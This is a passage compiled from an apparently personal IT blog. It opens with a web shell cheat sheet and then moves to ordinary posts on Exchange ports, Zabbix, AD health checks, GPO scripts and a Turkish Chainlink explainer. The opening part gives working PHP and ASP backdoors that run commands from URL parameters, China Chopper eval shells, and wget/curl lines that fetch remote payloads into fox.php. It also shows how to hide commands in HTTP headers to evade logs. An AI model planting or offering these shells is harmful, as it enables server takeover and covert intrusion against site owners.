?><?php system("whoami"); ?>#Take input from the url paramter. run as any shell commands.<?php system($_GET['cmd']);?>#The same but using passthru<?php passthru($_GET['cmd']); ?>#For shell_exec to output the result you need to echo it<?php echo shell_exec("whoami");?>#Exec() does not output the result without echo, and only output the last line. So not very useful!<?php echo exec("whoami");?>#Instead to this if you can. It will return the output as an array, and then print it all.<?php exec("ls -la",$array); print_r($array); ?>#preg_replace(). This is a cool trick<?php preg_replace('/.*/e', 'system("whoami");', ''); ?># Using backticks<?php $output = `whoami`; echo "<pre>$output</pre>"; ?>#Using backticks<?php echo `whoami`; ?>POC:http://192.168.1.103/fox.php?cmd=pwd/index.php?cmd=wget https://pasteio.com/raw/bl8okgdd fox.php/index.php?cmd=curl https://pasteio.com/raw/lkjfjfd > fox.php /index.php?cmd=GET https://pasteio.com/raw/erg44j fox.phpMake it stealthy:# We can make the commands from above a bit more stealthy. Instead of passing the cmds through the url, which will be obvious in logs, we cna pass them through other header-paramters.<?php system($_SERVER['HTTP_ACCEPT_LANGUAGE']); ?><?php system($_SERVER['HTTP_USER_AGENT'])?># I have had to use this one<?php echo passthru($_SERVER['HTTP_ACCEPT_LANGUAGE']); ?>Obfuscation:eval(): A function that evaluates a given string as PHP codeassert(): A function that evaluates a given string as PHP codebase64(): Encodes data with MIME base64 encodinggzdeflate(): Compresses a string using DEFLATE data format; gzinflate() decompresses itstr_rot13(): Shifts every letter of a given string 13 places in the alphabet<ASP:<%Dim oSOn Error Resume NextSet oS = Server.CreateObject("WSCRIPT.SHELL")Call oS.Run("win.com cmd.exe /c c:\Inetpub\shell443.exe",0,True)%>China Chopper:PHP: <?php @eval($_POST[‘password’]);?>ASPX: <%@ Page Language=”Jscript”%><%eval(RequestItem[“password”],”unsafe”);%> 2 Basic PHP WebShell Frontend: #1<?phpif (isset($_GET['cmd'])) { $cmd = $_GET['cmd']; system($cmd);} else { echo "404 - Page Not Found";}?>#2<html><body><form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"><input type="TEXT" name="cmd" autofocus id="cmd" size="60"><input type="SUBMIT" value="Execute"></form><pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); }?></pre></body></html> Copyright 2017 WhiteWinterWolf Shell Source Code https://github.com/faruk-guler/Shell --- ## What is Veeam One? Installation and configuration Link: https://farukguler.com/posts/veeam-one-installation-configuration/ Fazla söze gerek yok sizi Baki ÇUBUK hocanın makalesi ile baş başa bırakıyorum. Kendisine teşekkür ediyoruz. https://www.bakicubuk.com/veeam-one-10-kurulumu/ --- ## Microsoft Exchange TCP/IP Allow Services and Ports Link: https://farukguler.com/posts/exchange-tcp-ip-allow-ports/ It is enough to open the following Ports on your Firewall according to the usage requirement. Port Function -TCP port 25 - SMTP -TCP port 26 - SSL secured SMTP -TCP port 110 - Post Office Protocol v. 3 (POP3) -TCP port 995 - SSL secured POP3 -TCP port 143 - Internet Message Access Protocol v. 4 (IMAP4) -TCP port 993 - SSL secured IMAP4 -TCP port 80 - HTTP for Outlook Web Access -TCP port 443 - SSL secured HTTP for Outlook Web Access (HTTPS) -TCP/UDP port 389 - Lightweight Directory Access Protocol (LDAP) -TCP port 3268 - LDAP communications with an Active Directory Global Catalog Server -TCP port 119 - Network News Transfer Protocol (NNTP) -TCP port 563 - SSL secured NNTP -TCP port 135 - Remote Procedure Protocol (RPC) however it will also use ports 1024 and up as needed. -TCP/UDP port 53 - Domain Name System (DNS) -TCP port 102 - Mail Transfer Agent (MTA) *Only used in X.400 connections. -TCP/UDP port 88 - KERBEROS - Additionally if you are secureing any servers such as front-end / back-end servers with IPSEC you will need to allow IP protocol 51 for the Authenitcation Header, IP protocol 50, TCP/UDP port 88 for KERBEROS, and UDP port 500 for Key Exchanges. Port Function 25 SMTP 53 DNS 80 http 88 Kerberos 110 POP3 135 EPMAP 143 IMAP 389 LDAP 443 HTTPS 587 SMTP 993 IMAPS 995 POP3S 3268 Microsoft Global Catalog 3343 MS Cluster Net 5060 SIP 5061 SIP (over TLS) 5062 Localisation access 5075 Skype for Business Server Call Park service 5076 Skype for Business Server Audio Test service 50636 EdgeSync synchronization 64327 DAG replication Saygılarımla. – Best regards. --- ## What is Microsoft Exchange 2019 Edge Transport? Link: https://farukguler.com/posts/microsoft-exchange-edge-transport/ The Edge Transport role is an optional Exchange role that is typically installed on a server in an Exchange organization's DMZ network and is designed to minimize the organization's attack surface. The Edge Transport server role manages the entire internet-facing mail flow by providing SMTP relay and smart host services for on-premises Exchange servers in your organization. Agents running on the Edge Transport server provide additional layers of message protection and security, while these agents protect against spam and enforce mail flow rules (also known as transport rules) to control mail flow. All of these features work together to help minimize the exposure of your internal Exchange to threats on the Internet. If you do not want to expose the on-premises Exchange servers directly to the internet, you have the option to use the Edge Transport servers. Because the Edge Transport server is installed in the DMZ network, it is never a member of your organization's internal Active Directory forest and cannot access Active Directory information. However, the Edge Transport server requires data that resides in Active Directory: for example, connector information for mail flow and recipient information for antispam recipient tasks. This data is synchronized to the Edge Transport server by the Microsoft Exchange EdgeSync service (EdgeSync). EdgeSync is a collection of operations executed on an Exchange 2010, Exchange 2013, Exchange 2016, or Exchange 2019 mailbox server to provide one-way replication of recipient and configuration information from Active Directory to the Active Directory Lightweight Directory Services (AD LDS) service on the Edge Transport server. EdgeSync copies only the information required for the Edge Transport server to perform antispam configuration tasks and enable end-to-end mail flow. In summary, it is a good security practice for your Exchange environment; With the Edge role, you can better isolate your mailbox role from the internet. Edge also helps you manage spam and email security policies. Exchange 2013-2019-2019 organizations that want to use Edge Transport servers have the option to use Edge Transport servers by having the latest Exchange 2010 or higher. Exchange 2019 version does not support Exchange 2010. For up-to-date information, please check the reference link below. https://docs.microsoft.com/en-us/exchange/plan-and-deploy/system-requirements?view=exchserver-2019#supported-coexistence-scenarios-for-exchange-2019 https://docs.microsoft.com/en-us/exchange/plan-and-deploy/system-requirements?view=exchserver-2016#supported-coexistence-scenarios-for-exchange-2016 You can also set up multiple Edge Transport servers in the DMZ network. Deploying more than one Edge Transport server provides backup and failover features for your incoming message flow, and you can distribute SMTP traffic between Edge Transport servers in your organization by defining multiple MX records with the same priority value for your mail domain. When we examine the architecture of the edge role; From Mailbox servers to EDGE servers, port 50636 should be open, Bi-directional port 25 is open between EDGE servers and Mailbox servers, Bi-directional port 25 for mail traffic from External to Internal EDGE servers, In order to access the outside world via EDGE servers, 53/UDP,53/TCP DNS ports must be open. Saygılarımla. – Best regards. --- ## Zabbix v6.2.1 Installation and Monitoring Configuration For Centos 8 Appliance Link: https://farukguler.com/posts/zabbix-installation-monitoring/ Zabbix is ​​an enterprise open source monitoring solution for networks and applications developed by Alexei Vladishev It is designed to monitor and monitor the status of various network services, servers and other network equipment. Zabbix stores data using MySQL, PostgreSQL, SQLite, Oracle or IBM DB2 Its backend is written in C and its frontend is written in PHP. Zabbix offers several monitoring options:Simple checks can verify the availability and responsiveness of standard services such as SMTP or HTTP without installing any additional software on the monitored host.A Zabbix proxy can also be installed on UNIX and Windows hosts, saving CPU load, network usage, disk space, etc. can follow. https://www.zabbix.com/download_appliance (VMWare (.vmx) or all of them download) The latest version of Appliance is based on CentOS 8 Stream with MySQL back-end. Zabbix software is pre-installed and pre-configured for trouble free deployment. You can use this Appliance by importing it into your virtual environment. The appliance is based on AlmaLinux 8 Zabbix supports monitoring using SNMP, TCP, and ICMP inspections, as well as IPMI, JMX, SSH, Telnet, and custom variables as an alternative to installing on hosts. Zabbix supports many real-time notification mechanisms such as XMPP.Released under the rules of the GNU General Public License version 2, Zabbix is ​​free software. Zabbix version check Command: zabbix_server --version zabbix_server -V Zabbix configuration The following passwords will be set by default in the Zabbix appliance device installation. System: root:zabbix Zabbix hompage frontend: Admin:zabbix Database: root:<random> zabbix:<random> NOTE: Database passwords are randomly generated during the installation process.Root password is stored inside the /root/.my.cnf file. It is not required to input a password under the "root" account. To change the database user password, changes have to be made in the following locations: MySQL; /etc/zabbix/zabbix_server.conf; /etc/zabbix/web/zabbix.conf.php. 1.1 Repositories [zabbix] name=Zabbix Official Repository - $basearch baseurl=https://repo.zabbix.com/zabbix/6.2/rhel/8/$basearch/ enabled=1 gpgcheck=1 gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-ZABBIX-A14FE591 1.2 Firewall configuration: The appliance uses iptables firewall with predefined rules: Opened SSH port (22 TCP); Opened Zabbix agent (10050 TCP) and Zabbix trapper (10051 TCP) ports; Opened HTTP (80 TCP) and HTTPS (443 TCP) ports; Opened SNMP trap port (162 UDP); Opened outgoing connections to NTP port (53 UDP); ICMP packets limited to 5 packets per second; All other incoming connections are dropped. By default, only the listed ports are open. Modify the "/etc/sysconfig/iptables" file to open additional ports and reload the firewall rules: systemctl reload iptables 1.3 Using a static IP address: ip addr show ip a #To get the IP address, run Attention: To get started, boot the appliance and point a browser at the IP the appliance has received over DHCP DHCP must be enabled on the host. To access Zabbix frontend hompage, go to https://<host_ip>  (for access from the host’s browser bridged mode should be enabled in the VM network settings). By default the appliance uses DHCP to obtain the IP address. To specify a static IP address setting: #Open: /etc/sysconfig/network-scripts/ #Edit File: ifcfg-eth0 file; #Finally network restart: systemctl restart network DEVICE="eth0" BOOTPROTO=static NM_CONTROLLED="no" PERSISTENT_DHCLIENT=1 ONBOOT="yes" TYPE=Ethernet DEFROUTE=yes PEERDNS=yes PEERROUTES=yes IPV4_FAILURE_FATAL=yes NAME="eth0" IPADDR=10.5.10.50 NETMASK=255.255.255.0 GATEWAY=10.5.10.1 DNS1=10.5.10.10 DNS2= By default, access to the frontend is allowed from anywhere. This can be customized in /etc/nginx/conf.d/zabbix.conf. Nginx has to be restarted after modifying this file. To do so, log in using SSH as root user and execute: systemctl restart nginx 1.4 Changing time zone: By default the appliance uses UTC for the system clock. To change the time zone, copy the appropriate file from /usr/share/zoneinfo to /etc/localtime, for example: cp /usr/share/zoneinfo/Europe/Riga /etc/localtime Changes to Zabbix configuration Frontend timezone is set to Europe/Riga (this can be modified in /etc/php-fpm.d/zabbix.conf; Upgrading systemctl list-units zabbix* #System Services show Systemd services are available dnf update zabbix* #The Zabbix appliance packages may be upgraded. (We will cover the Zabbix server resource injection configuration in another article.) Umarım faydalı olmuştur. - I hope it was helpful. --- ## Exchange Server 2019 Relay Connector Configuration Link: https://farukguler.com/posts/exchange-relay-configuration/ Exchange servers, as it is known, use the SMTP protocol for mail traffic and authentication. It is necessary to give Relay permission on Exchange Server to get information from Printers, Firewalls and Switches, etc. software and hardware that do not have the ability to authenticate for SMTP. 1- To create a new Relay connector, we connect to the ECP screen and create a new connector. We give our connector a new name. We proceed with Frontend in the Role part and Custom in the Type part. 2- It specifies which ip and port the connector we will create will provide access. It comes with 25 ports as standard. I recommend that you change it. 3- We change our default port: 8181 After changing our port, we continue. 4- We determine which IP Addresses will use the connector we created. 5- We choose the Anonymous option from the Security features of the connector we created. 6- We are trying to connect using telnet service through the server we allow to test the connector. Thanks to the connector, we were able to successfully connect to our mail server. 7- We can perform all the operations we do in one go with the help of the following Powershell ISE command. New-ReceiveConnector -Name Printer -TransportRole Frontend -Custom -Bindings 0.0.0.0:8181 -RemoteIPRanges 10.5.10.45 -PermissionGroups AnonymousUsers 8- If we have more than one server and we want to create a connector on a particular server, you can apply the following command. New-ReceiveConnector -Name Printer -TransportRole Frontend -Custom -Bindings 0.0.0.0:8181 -RemoteIPRanges 10.5.10.45 -PermissionGroups AnonymousUsers -Server ExcGuler 9- That was the action. If we want to get information about our current connectors, you can use the command below. In the command below, we list our connectors using port 8181. Get-ReceiveConnector | where {$_.Bindings -like '*8181'} | Format-List Identity,RemoteIPRanges,PermissionGroups,AuthMechanism Saygılarımla. – Best regards. --- ## What is NIC teaming ? Link: https://farukguler.com/posts/nic-teaming/ In short, with the NIC Teaming feature, it means that the line continues to work actively in the Failover structure in case one of the ethernet cards is disabled by grouping the ethernet cards installed on the server. Network connection stability is one of the most important points after data redundancy for a server running in a live environment. No matter how strong and secure you have a server and software running on it, when your network connection is lost, life will stop and services will become dysfunctional. Today, almost all servers are produced and sold with more than one network card on it. Even if you have an old server with a single ethernet card, you can get a second ethernet card at a low cost and back up your server's network connection. At this point, the advantage of Windows Server is that we can team up with the software provided by the card manufacturers and the hardware belonging to the same manufacturer and sometimes the same serial products, but now we can team any two A and B brand ethernet cards independent of the manufacturer. Saygılarımla. – Best regards. --- ## Extend Windows Server Evaluation 180 days Trial Link: https://farukguler.com/posts/windows-server-evaluation-180-days-trial/ The evaluation version of Windows Server 2012/2016/2019/2022 is valid for 180 days and you can extend your trial version for 3 years. Open with PowerShell Administrator privilege. PowerShell: slmgr -dli #Find out the current trial period slmgr -dlv #Find out about the remaining trial #If Remaining Windows rearm count: 5, it can be extended 5 more times. slmgr -rearm #Extending the period by another 180 days Restart-Computer #Now restart your computer. #After restarting the computer you can check the time again with slmgr -dli Saygılarımla. – Best regards. --- ## Thin Provision vs Thick Provision Link: https://farukguler.com/posts/thin-vs-thick-provision/ While creating disk space on VMware, we encounter 2 options. These; – Thick Provision (Lazy Zeroed, Eager Zeroed)– Thin Provision 1-) Thick Provision When we choose Thick Provision, blocks are allocated as much as the area created on the storage pool. For example, if we created 100 GB of space, 100 GB blocks are allocated on the storage pool. Thick Provision comes in two variants, Lazy Zeroed and Eager Zeroed. The difference is that Lazy Zeroed resets when the first data is written on the allocated block, so it causes performance degradation when transferring data. In the Eager Zeroed option, it resets the allocated space while creating the disk. This option causes the disc creation process to be slower. This selection can be preferred according to the action that the server will take. Thick Disk: Allocates the entire given space on the disk. Disk space cannot be used by other virtual machines. (performance)Thick Eager Zeroed: It is the most performing disk type. Erases the disk and fills it with (00000000000∞) [Eager]Thick Lazy Zeroed: Erases the disk, does not write anything on it. [Lazy]Thin Disk: As data is written to this disk, its size will increase. Unused space can be used by other virtual machines (low performance). 2-) Thin provision This disk type reserves space as only needed and resets on demand. Unused space is available to other virtual machines. This disk type allows for more efficient use of disk space but may slightly impact performance. If our disk space does not have a definite value or has an increasing value over time, we can choose Thin provision. When we create 100 GB of space in this option, it will occupy 30% of the storage pool, that is, 30 GB. Even if the occupancy rate exceeds 30%, it will continue without error and allocate the area it needs. When it reaches 70% occupancy rate, it gives a warning. In this case, the disk capacity can be increased. Thin Provision provides a more efficient use on the storage pool, but causes the server to perform high I/O. It will still perform as well as the Eager Zeroed.(IOPS=input/output operations per second), as the name suggests, is the maximum number of writes or reads a disk can do per second.) Made in Turkey with ❤️ Best Regards. --- ## Program-Free VPN Setup | Windows 10 Link: https://farukguler.com/posts/free-vpn-setup-windows/ In this article, I will try to give you information about "Free and Program-Free VPN Installation on Computer in Windows 10". VPN has many uses as you know or will learn yet. The term VPN, or Virtual Private Network, can be translated into Turkish as "Virtual Private Network". In its most basic sense, VPN can be defined as a service that hides your real IP address and allows you to connect to the internet through a different IP address. Using a VPN secures your connection and encrypts your connection while connecting to any network, ensuring that you cannot be identified. Since the communication is encrypted, you can access prohibited and blocked sites via VPN. First of all, there are many services that provide VPN service. What I will recommend here will be VPNBOOK. Let's go to the link I left here (click). https://www.vpnbook.com/freevpn When we go to this link, we will find the basic information we need on the web page that comes up. VPNBook Free PPTP VPN Accounts You can start surfing the internet anonymously by clicking "Connect" & "bağlan" on the last page. Saygılarımla. – Best regards. --- ## Chainlink (LINK) Nedir? Blockchain'i Gerçek Dünyaya Bağlayan Köprü Link: https://farukguler.com/posts/chainlink-nedir/ Chainlink (LINK), bir blockchain ağı değildir. O, “akıllı sözleşmelerin” (smart contracts), blockchain dışındaki (off-chain) gerçek dünya verilerine ve sistemlerine güvenli bir şekilde bağlanmasını sağlayan merkeziyetsiz bir oracle ağıdır (Decentralized Oracle Network - DON). Basitçe söylemek gerekirse, Chainlink, blockchain’in izole dünyası ile dış dünya arasında bir “köprü” veya “aracı yazılım” (middleware) görevi görür. LINK, bu ağdaki hizmetler için ödeme yapmak ve ağı güvence altına almak için kullanılan yerel (native) kripto para birimidir. Chainlink’in misyonu, kripto endüstrisindeki en temel zorluklardan biri olan “Oracle Problemini” çözmektir. “Oracle Problemi” Nedir? Blockchain’ler (Ethereum, Solana vb.) doğaları gereği kapalı ve izole sistemlerdir. Güvenli ve deterministik (öngörülebilir) olmaları için, kendi ağları dışındaki hiçbir veriye doğrudan erişemezler. Bir Ethereum akıllı sözleşmesi, bugünkü ETH/USD fiyatını bilemez. Bir tarım sigortası sözleşmesi, İstanbul’da yağmur yağıp yağmadığını bilemez. Bir spor bahsi sözleşmesi, maçın sonucunu bilemez. Bu dış verilere erişim olmadan, akıllı sözleşmelerin kullanım alanı çok kısıtlı kalır. Bu dış veriyi blockchain’e getiren aracıya “Oracle” denir. Asıl Problem: Eğer bu veriyi getirmek için tek bir merkezi kaynak (örn. tek bir web sitesinin API’si) kullanırsanız, tüm merkeziyetsiz sistemin güvenliğini tek bir “zayıf halkaya” emanet etmiş olursunuz. Ya o web sitesi hack’lenirse, veriyi manipüle ederse veya çevrimdışı olursa? Tüm merkeziyetsiz finans (DeFi) protokolü çöker. Chainlink’in Çözümü: Merkeziyetsiz Oracle Ağı (DON) Chainlink, “tek bir oracle’a güvenme” sorununu, binlerce bağımsız oracle’dan oluşan merkeziyetsiz bir ağ kurarak çözer. Bu ağ, veriyi hem kaynaktan alırken hem de teslim ederken merkeziyetsizleştirir. İşte bir DeFi protokolünün (örn. Aave) Chainlink’ten ETH/USD fiyatını nasıl aldığına dair basit bir örnek: Talep: Aave’nin akıllı sözleşmesi, ETH/USD fiyatına ihtiyaç duyar ve Chainlink ağına bir “veri talebi” gönderir. Yayınlama: Chainlink protokolü, bu talebi ağdaki yüzlerce bağımsız, itibarlı Chainlink Düğümüne (Node) iletir. Veri Toplama (Off-Chain): Bu düğümlerin her biri, bağımsız olarak dış dünyaya (off-chain) bağlanır ve veriyi birden fazla premium, ücretli veri kaynağından (örn. Binance, Kraken, Coinbase, Bloomberg API’leri) çeker. Toplama ve Konsensüs (On-Chain): Düğümler, buldukları cevapları (fiyatları) geri Chainlink’in ana sözleşmesine gönderir. Chainlink sözleşmesi, bu cevapları toplar (aggregate), aşırı uçtaki (hatalı veya manipüle edilmiş) cevapları filtreler ve tüm cevapların ortalamasını (veya medyanını) alır. Teslimat: Bu tek, güvenilir ve manipülasyona dayanıklı hale getirilmiş nihai fiyat (örn. 3.015,20 $), Aave’nin akıllı sözleşmesine “beslenir”. Bu süreç sayesinde, Aave’nin tek bir veri kaynağına veya tek bir oracle’a güvenmesine gerek kalmaz. Chainlink’in Hizmetleri: Fiyat Akışından (Price Feeds) Fazlası Chainlink, DeFi ekosisteminin tamamını “Fiyat Akışları” (Price Feeds) ile ayakta tutsa da, teknolojisi bundan çok daha fazlasını sunar: Proof of Reserve (PoR - Rezerv Kanıtı): Zincir dışındaki rezervleri (örn. bir stablecoin’i veya WBTC’yi destekleyen USD veya BTC) denetler ve bu rezervlerin blockchain üzerinde şeffaf bir şekilde doğrulanmasını sağlar. VRF (Verifiable Random Function - Doğrulanabilir Rastgelelik): Blockchain oyunları (GameFi), NFT çekilişleri veya piyangolar için kanıtlanabilir ve adil rastgele sayı üretir. Chainlink Automation (Eski adıyla Keepers): Akıllı sözleşmeler için bir “zamanlayıcı” veya “IFTTT” (If This, Then That - Eğer Bu Olursa, Şunu Yap) hizmetidir. (Örn: “Bir borcun likidasyon seviyesine gelip gelmediğini her 5 dakikada bir kontrol et.”) CCIP (Cross-Chain Interoperability Protocol): Chainlink’in en yeni ve en iddialı ürünüdür. Farklı blockchain’ler (örn. Ethereum, Avalanche, Polygon) arasında güvenli bir şekilde token transferi ve mesaj (veri) gönderimi sağlayan evrensel bir köprüleme standardıdır. Birçok uzman, CCIP’nin “blockchain’lerin TCP/IP’si” olabileceğine inanmaktadır. LINK Token’ı Ne İşe Yarar? (Ekonomik Güvenlik) LINK, Chainlink ekosisteminin ekonomik motorudur ve tüm ağı güvence altına alır. Maksimum arzı 1 Milyar LINK ile sınırlandırılmıştır. Hizmetler İçin Ödeme (Tekel): Chainlink ağından veri veya hesaplama hizmeti (Price Feed, VRF, CCIP vb.) almak isteyen herkes (DeFi protokolleri, dApp’ler), Chainlink Düğüm Operatörlerine ödemeyi yalnızca LINK token ile yapmak zorundadır. Bu, ağ ne kadar çok kullanılırsa, LINK token’ına olan talebin o kadar artacağı anlamına gelen güçlü bir “gerçek gelir” (real yield) modeli yaratır. Staking ve Güvenlik (Collateral): Chainlink düğüm operatörlerinin, ağa dürüst veri sağlayacaklarının bir teminatı olarak LINK token’larını stake etmesi (kilitlemesi) gerekir. Eğer bir düğüm operatörü kötü niyetli davranır veya yanlış veri sağlarsa (“yalan söylerse”), kilitlediği bu LINK token’ları “slashing” adı verilen bir mekanizma ile ceza olarak elinden alınır. Bu, dürüst davranmayı kârlı, sahtekârlığı ise (kaybedilecek LINK’ler nedeniyle) ekonomik olarak felaketle sonuçlanan bir hale getirir. Chainlink, sadece “bir oracle projesi” değil, endüstri standardı haline gelmiş bir platformdur. DeFi’nin var olabilmesini sağlayan temel “altyapı” katmanıdır. Gerçek Dünya Varlıklarının (RWA - Real World Assets) tokenizasyonu, zincirler arası iletişim (CCIP) ve kanıtlanabilir rezervler (PoR) gibi blockchain’in en büyük anlatılarının (narratives) merkezinde yer alan Chainlink, blockchain ekonomisini gerçek dünya ekonomisine bağlayan en kritik ve yeri doldurulamaz “tesisat” borularından biri olarak kabul edilmektedir. --- ## Disable Auto Suspend of VM on VMWare Workstation Link: https://farukguler.com/posts/disable-auto-suspend-of-vm-on-vmware/ ***The main reason; If Windows Server & Client is not properly licensed and activated, this is the biggest reason. Please check your license term. In the VMWare Workstation hypervisor If you do not use a virtual machine for a while, it is automatically suspended by the built-in Auto Suspend feature. To continue using the VM, you must click the Continue this virtual machine button. Unfortunately, you cannot completely disable Auto Suspend in VMWare Workstation settings. However, you can prevent a VM from suspending with a change to a hypervisor's VMX configuration file settings. Shut down the VM;Look at the path of the VMX configuration file in the VM properties;Open the VMX file in any text edit file: win10x_64.vmxAdd the line : suspend.disabled = "TRUE" to the end of the VMX text file.Start the VM and make sure your VMWare Workstation administrator is no longer suspending the VM. suspend.disabled = "TRUE" Saygılarımla. – Best regards. --- ## Delete User Profiles Older Than a Specified Number Days [GPO] Link: https://farukguler.com/posts/delete-user-profiles-older-than-a-specified-days/ This policy setting allows an administrator to automatically delete user profiles on system restart that have not been used within a specified number of days. Note: One day is interpreted as 24 hours after a specific user profile was accessed. If you enable this policy setting, the User Profile Service will automatically delete on the next system restart all user profiles on the computer that have not been used within the specified number of days. If you disable or do not configure this policy setting, User Profile Service will not automatically delete any profiles on the next system restart. GPO: Computer Configuration -> Administrative Templates -> System -> User Profiles. The main troubles associated with this automatic method of profile removal is waiting for the server restart and non-selectivity (you cannot prohibit deleting certain user profiles like local accounts, administrative accounts, etc.). Also, this policy may not work if some third-party software (most often it is an antivirus) accesses NTUSER.DAT file in user profiles and updates the date of last use. Saygılarımla. – Best regards. --- ## How to Run Script in GPO Only Once? Link: https://farukguler.com/posts/run-script-in-gpo-only-once/ GPO login scripts allow you to run a BAT or PowerShell script at computer startup or user login/logout. In some cases, the administrator wants a particular script (command/program) to be run only once per user or computer and not run on subsequent logins.You can use this by adding the following commands to your script. Create the following BAT file ( teksefer.bat ) and save it under directory \\SYSVOL\sysvol\scripts\ @echo off IF EXIST C:\Users\%UserName%\AppData\app_init.txt GOTO END date /t >> C:\Users\%UserName%\AppData\app_init.txt time /t >> C:\Users\%UserName%\AppData\app_init.txt REM Put your code here, which will be executed once :END //my other commands //hello word //TheGuler! The script creates a small text file in the user's profile the first time it runs. The next time the script is run via the GPO, it checks if the file exists on a disk. If it exists, the script has already been executed and the code does not need to be rerun. Saygılarımla. – Best regards. --- ## Active Directory DC Health Check and Replication Link: https://farukguler.com/posts/Active-Directory-Health-Check/ -GENERAL COMMANDS dcdiag dcdiag /s:Guler.com dcdiag /s:Guler.com /v >> c:\dcdiag_test.log #The command runs different tests against the specified domain controller and returns a state for each test (Passed/Failed) Dcdiag /s:Guler.com | select-string -pattern '\. (.*) \b(passed|failed)\b test (.*)' #Display summary information only dcdiag /v /test:FrsEvent /s:anatolia #Detailed Event monitor dcdiag.exe /s:guler.com /a #To get the state of all domain controllers, use dcdiag.exe /s:anatolia /q #If you want to display only the errors you have found, use the /q option dcdiag /s:anatolia /v #Run DCDiag with Verbose Output dcdiag /s:anatolia /fix #There is a great switch that tries to do safe repairs on found errors: the /fix switch. Some Typical tests it will do: Connectivity – checks if the DC is registered in DNS, establishes test LDAP and RPC connections; Advertising – checks roles and services published on the DC; FRSEvent – checks if there are any errors of file replication service (SYSVOL replication errors); FSMOCheck – checks if the DC can connect to KDC, PDC, and Global Catalog server; MachineAccount — checks if the DC account is registered in AD correctly and if the domain trust relationship is correct; NetLogons – checks the logon privileges to allow replication to proceed; Replications – checks the state of replication between domain controllers and if there are any errors; CrossRefValidation - Checks the validity of cross-references for domains. RidManager - Checks whether the RID manager is accessible or not. KnowsOfRoleHolders – checks the availability of the domain controllers with FSMO roles; Services – checks if services on the domain controllers are running; Systemlog – checks if there are any errors in the DC logs; Etc. Topology – checks if KCC has generated full topology for all DCs CheckSecurityError Intersite Check for failures that would prevent an inter-site replication CutoffServers – finds a DC that is not replicated since its partner is unavailable DNS – 6 DNS checks are available (/DnsBasic, /DnsForwarders, /DnsDelegation, /DnsDymanicUpdate, /DnsRecordRegistration, /DnsResolveExtName) OutboundSecureChannels VerifyReplicas – checks if the application partitions are replicated correctly VerifyEnterpriseReferences You can find a full description of all available dcdiag tests here. Troubleshoot Active Directory Replication Errors Between DC 's -REPLICATION repadmin /replsum #Here is the basic command to check AD replication repadmin /replsum * #To check replication for all DC' s in the domain repadmin /showreps #It provides a detailed view of the replication status. repadmin /showrepl #To view the replication topology and errors (if any), run this command #The command will check the DCs and return the time and date of the last successful replication for each directory partition repadmin /showrepl * #To display additional replication info, use this command repadmin /rodcpwdrepl #To run password replication from a writable domain controller to a read-only domain controller (RODC) repadmin /showrepl dc* /verbose /all /intersite #displaying detailed information repadmin /syncall /AdeP #To quickly initiate and synchronize replications between all domain controllers Repadmin /syncall anatolia /A /e /P #Synchronize with all replication partners on the domain controller repadmin /syncall guler.com #To synchronize a specified DC with all its replication partners, use the command below repadmin /queue #To view the replication queue (Ideally, the replication queue should be empty) Repadmin /showbackup * #Check when the latest backup of the current domain controller was created Using DCDiag to test DNS -DNS CHECKING dcdiag /test:dns dcdiag /s:anatolıa /test:dns #By default, /test:dns performs all of the following basic tests on DNS, except for external name resolution. dcdiag /test:dns #The basic DNS test includes network connectivity, DNS client, zones, and service availability. dcdiag /s:guler.com /test:dns /e /v #For example, to check if DNS is working correctly on all domain controllers, use the following command dcdiag /DnsForwarders #Performs the basic test and checks the configuration of DNS forwarders. dcdiag /DnsDelegation #Basic and DNS delegation test. dcdiag /DnsDynamicUpdate #Runs the basic test and checks whether dynamic DNS updates are enabled in AD dcdiag /DnsRecordRegistration #Performs the /DNSBasic test and checks the registration of resource records (A, CNAME, and SRV). dcdiag /DnsResolve<Internet Name> #Performs the basic DNS tests and attempts to resolve the <Internet name> dcdiag /DnsResolveExtName #<internet name> To test DNS resolution for external names. dcdiag /DNSAll #Perform all above tests, except the /DnsResolveExtName. Active Directory Port List & Active Directory Replikasyonu için Gerekli Port Listesi: TCP ve UDP 25: SMTP (Çoğaltma) TCP ve UDP 53: DNS (Ad Çözme, Güven, Kullanıcı ve Bilgisayar Kimlik Doğrulama) TCP ve UDP 88: Kerberos (Kullanıcı ve Bilgisayar Kimlik Doğrulama, Orman Düzeyi Güven) TCP 135: RPC, EPM (Çoğaltma) TCP ve UDP 137: NetBIOS Ad Çözümleme, NetBIOS Oturum Hizmeti, Kullanıcı ve Bilgisayar Kimlik Doğrulama, DFS, Grup İlkesi, NetLogon, NetBIOS Datagram Hizmeti UDP 138: NetBIOS Datagram Hizmeti, DFS, Grup İlkesi, DFSN, NetLogon TCP 139: NetBIOS Oturum Hizmeti, Kullanıcı ve Bilgisayar Kimlik Doğrulama, Çoğaltma, DFSN TCP ve UDP 389: LDAP (Dizin, Çoğaltma, Kullanıcı ve Bilgisayar Kimlik Doğrulama, Grup İlkesi, Güven) TCP 445: SMB, CIFS, SMB2, DFSN, LSARPC, NbtSS, NetLogonR, SamR, SrvSvc (Çoğaltma, Kullanıcı ve Bilgisayar Kimlik Doğrulama, Grup İlkesi, Güven) TCP 636: LDAP SSL (Dizin, Çoğaltma, Kullanıcı ve Bilgisayar Kimlik Doğrulama, Grup İlkesi, Güven) TCP 9389: SOAP (AD DS Web Hizmetleri) TCP 3268: LDAP GC (Dizin, Çoğaltma, Kullanıcı ve Bilgisayar Kimlik Doğrulama, Grup İlkesi, Güven) TCP 3269: LDAP GC SSL (Dizin, Çoğaltma, Kullanıcı ve Bilgisayar Kimlik Doğrulama, Grup İlkesi, Güven) TCP 5722: DFSR (SYSVOL), RPC (Dosya Çoğaltma) UDP 123: Windows Saati (Windows Saati, Güven) TCP ve UDP 464: Kerberos (Çoğaltma, Kullanıcı ve Bilgisayar Kimlik Doğrulama, Güven) UDP Dinamik: DCOM, RPC, EPM, FRS, DRSUAPI, NetLogonR, SamR (Grup İlkesi) TCP 9389: AD DS Web Hizmetleri (SOAP) UDP 137: NetBIOS Ad Çözümleme, NetBIOS Oturum Hizmeti, Kullanıcı ve Bilgisayar Kimlik Doğrulama, Çoğaltma TCP 139: NetBIOS Oturum Hizmeti, Kullanıcı ve Bilgisayar Kimlik Doğrulama, Çoğaltma, DFSN Faydalı olması dileğiyle – Hope it’s useful --- ## Exchange Server how to change ECP language? Link: https://farukguler.com/posts/change-ecp-language/ English URL: https://mail.domain.com/ecp?mkt=EN-us Thailand URL: https://mail.domain.com/ecp?mkt=TH-th China URL: 